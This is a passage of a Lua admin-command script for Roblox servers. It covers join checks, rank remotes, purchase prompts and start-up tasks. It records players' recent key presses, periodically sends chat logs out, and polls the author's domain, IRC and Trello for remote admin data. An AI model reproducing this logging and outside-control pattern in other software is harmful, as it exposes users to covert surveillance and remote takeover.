8883 for _,Person in pairs(Server.Players:GetPlayers()) do
8884 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8885 end
8886 end
8887 end
8888 if Settings.ServerLocked == true then
8889 if PlayerAdmin == false then
8890 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8891 end
8892 end
8893
8894 if PlayerAdmin == false then
8895 if Player.AccountAge < Settings.MinimumAge then
8896 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8897 for _,Person in pairs(Server.Players:GetPlayers()) do
8898 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8899 end
8900 end
8901 end
8902
8903 if PlayerAdmin == false then
8904 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8905 table.insert(Settings.Ranks["Member"], Player.Name)
8906 PlayerAdmin = true
8907 Rank = "Member"
8908 end
8909 end
8910
8911 coroutine.wrap(function()
8912 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8913 local function SpawnActions(Character)
8914 if Flings[Player.Name] then
8915 CORE:FlingPlayer(Player)
8916 else
8917 GUI:CreateTaskBar(Player)
8918 end
8919 if Beeps[Player.Name] == true then
8920 SOUND:BeepPlayer(Player)
8921 end
8922 if Jails[Player.Name] then
8923 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8924 end
8925 if PermCommandBars[Player.Name] then
8926 GUI:CommandBar(Player)
8927 end
8928 end
8929 Player.CharacterAdded:connect(SpawnActions)
8930 SpawnActions(Player.Character)
8931 end)()
8932
8933 coroutine.wrap(function()
8934 Player:WaitForChild("PlayerGui")
8935 local Sounds = {}
8936 for _,Data in pairs(TextConverter.LetterSounds) do
8937 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8938 Sound:Play()
8939 table.insert(Sounds, Sound)
8940 end
8941 for _,Data in pairs(TextConverter.LongVowels) do
8942 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8943 Sound:Play()
8944 table.insert(Sounds, Sound)
8945 end
8946 wait(5)
8947 for _,Sound in pairs(Sounds) do
8948 Sound:Destroy()
8949 end
8950 Sounds = {}
8951 end)()
8952
8953 coroutine.wrap(function()
8954 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8955 if IsSB then
8956 wait(1)
8957 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8958 end
8959 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8960 print("Executed ClientLog on "..Player.Name)
8961 if Settings.EnableTaskBar then
8962 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8963 end
8964 end)()
8965
8966 coroutine.wrap(function()
8967 wait(7)
8968 Player:WaitForChild("PlayerGui")
8969 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8970 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8971 if Answer == "Ok" then
8972 MARKET:PromptPurchase(Player, AdminID)
8973 end
8974 end
8975 end)()
8976 end
8977end)() end
8978
8979-- Active stuff --
8980
8981CORE:UpdateAdmin()
8982CORE:FixSettings()
8983
8984ypcall(function()
8985 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8986 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8987 end
8988end)
8989
8990
8991Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8992 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8993 if PlayerAdmin == false then
8994 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8995 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8996 end
8997end end)
8998
8999--[[
9000ExecuteCommand.OnInvoke = function(Player, Command)
9001 if Player and Command then
9002 if type(Player) == "userdata" and Player:IsA("Player") then
9003 CORE:Chatted(Command, Player, true)
9004 end
9005 end
9006end
9007
9008ExecuteCode.OnInvoke = function(Source, Speaker)
9009 if type(Source) == "string" then
9010 ExecuteSafe(Source, Speaker)
9011 end
9012end
9013
9014ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9015 if Player and Command then
9016 if type(Player) == "userdata" and Player:IsA("Player") then
9017 CORE:Chatted(Command, Player, true)
9018 end
9019 end
9020end
9021]]
9022
9023KeyPressed.OnServerInvoke = function(Player, Key)
9024 if Player and Key then
9025 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9026 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9027 end
9028 end
9029end
9030
9031InputKey.OnServerInvoke = function(Player, KeyVal)
9032 if Player and KeyVal then
9033 if LastKeys[Player.UserId] then
9034 table.insert(LastKeys[Player.UserId], KeyVal)
9035 if #LastKeys[Player.UserId] > 20 then
9036 table.remove(LastKeys[Player.UserId], 1)
9037 end
9038 end
9039 end
9040end
9041
9042RankPlayerLocal.OnServerInvoke = function(Player)
9043 wait()
9044 local Request = PendingRequests[Player]
9045 if Request then
9046 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9047 if Settings.Ranks[Request[1]] then
9048 PendingRequests[Player] = nil
9049 table.insert(Settings.Ranks[Request[1]], Player.Name)
9050 GUI:TellAdmin(Player)
9051 end
9052 end
9053 end
9054end
9055
9056RankPlayerServer.OnInvoke = function(Player, Rank)
9057 if not RANK:IsAdmin(Player) then
9058 PendingRequests[Player] = {Rank, tick()}
9059 end
9060end
9061
9062IsAdmin.OnServerInvoke = function(Player)
9063 local IsFullAdmin = false
9064 for _,PName in pairs(Settings.Ranks["Owner"]) do
9065 if PName == Player.Name then IsFullAdmin = true end
9066 end
9067 for _,PName in pairs(Settings.Ranks["Admin"]) do
9068 if PName == Player.Name then IsFullAdmin = true end
9069 end
9070 return IsFullAdmin
9071end
9072
9073AddExploit.OnServerInvoke = CORE.AddExploit
9074AddExploitServer.OnInvoke = CORE.AddExploit
9075
9076KickClient.OnServerInvoke = function(PlayerClient)
9077 PlayerClient:Kick()
9078end
9079
9080ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9081 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9082end
9083
9084for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9085Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9086Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9087
9088coroutine.wrap(function()
9089 for _,ID in pairs(Icons) do
9090 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9091 end
9092end)()
9093
9094CORE:SetAbuseCommands()
9095
9096coroutine.wrap(function() SOUND:SyncSoundList() end)()
9097if not IsStudio then coroutine.wrap(function()
9098 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9099 REMOTE:GetRemoteData(true)
9100 REMOTE:CheckTrelloInfo()
9101 coroutine.wrap(function()
9102 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9103 REMOTE.RemoteConnection = true
9104 end
9105 end)()
9106 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9107 coroutine.wrap(function()
9108 if Settings.LinkedAccount ~= "" then
9109 local Request = nil
9110 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9111 if Request then
9112 REMOTE:HandleRequest(Request, true)
9113 end
9114 end
9115 end)()
9116 coroutine.wrap(function()
9117 wait(RemoteData.RemoteAdminWait)
9118 while REMOTE:GetAndSetWebData() do
9119 wait(RemoteData.RemoteAdminWait)
9120 end
9121 end)()
9122 coroutine.wrap(function()
9123 while wait(60) do
9124 REMOTE:GetRemoteData(true)
9125 REMOTE:CheckTrelloInfo()
9126 end
9127 end)()
9128end)() end
9129coroutine.wrap(function()
9130 if Settings.TrelloToken ~= "" then
9131 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9132 if #Trello.RequiredLists > 0 then
9133 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9134 if Trello.MainBoard.name then
9135 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9136 REMOTE:TrelloCacheData(Lists)
9137 REMOTE:TrelloHandleData(true)
9138 coroutine.wrap(function()
9139 wait(RemoteData.TrelloWait)
9140 while REMOTE:TrelloHandleData() do
9141 wait(RemoteData.TrelloWait)
9142 end
9143 end)()
9144 end
9145 end
9146 else
9147 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9148 end
9149end)()
9150coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9151 REMOTE:SendChatLog()
9152end end)()
9153coroutine.wrap(function() while true do
9154 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9155 if ThisDate then Date = ThisDate end
9156 wait(600)
9157end end)()
9158
9159print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")